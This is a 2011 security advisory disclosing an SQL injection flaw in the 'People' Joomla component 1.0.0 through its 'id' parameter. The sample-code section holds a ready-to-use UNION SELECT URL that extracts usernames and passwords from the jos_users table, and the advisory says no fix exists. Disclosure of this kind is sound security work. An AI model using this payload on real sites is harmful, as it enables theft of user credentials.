1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
People Joomla Component 1.0.0 SQL Injection Vulnerability NamePeople Vendorhttp://www.ptt-solution.com Versions Affected 1.0.0 AuthorSalvatore Fresta aka Drosophila Website http://www.salvatorefresta.net Contact salvatorefresta [at] gmail [dot] com Date2011-01-14 X. INDEX I.ABOUT THE APPLICATION II. DESCRIPTION III.ANALYSIS IV. SAMPLE CODE V.FIX I. ABOUT THE APPLICATION ________________________ The component shows all of your people in aprofessional scrollbarwherevisitorstake the first attention to their looks and positions. II. DESCRIPTION _______________ A parameter is not properly sanitisedbeforebeing used in SQL queries. III. ANALYSIS _____________ Summary: A) SQL Injection A) SQL Injection ________________ The id parameter is notproperlysanitised before being used in SQL queries.This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. IV. SAMPLE CODE _______________ A) SQL Injection http://site/path/index.php?option=com_people&controller=people&task=details&id=-1 UNION SELECT username,password,3 FROM jos_users V. FIX ______ No fix. |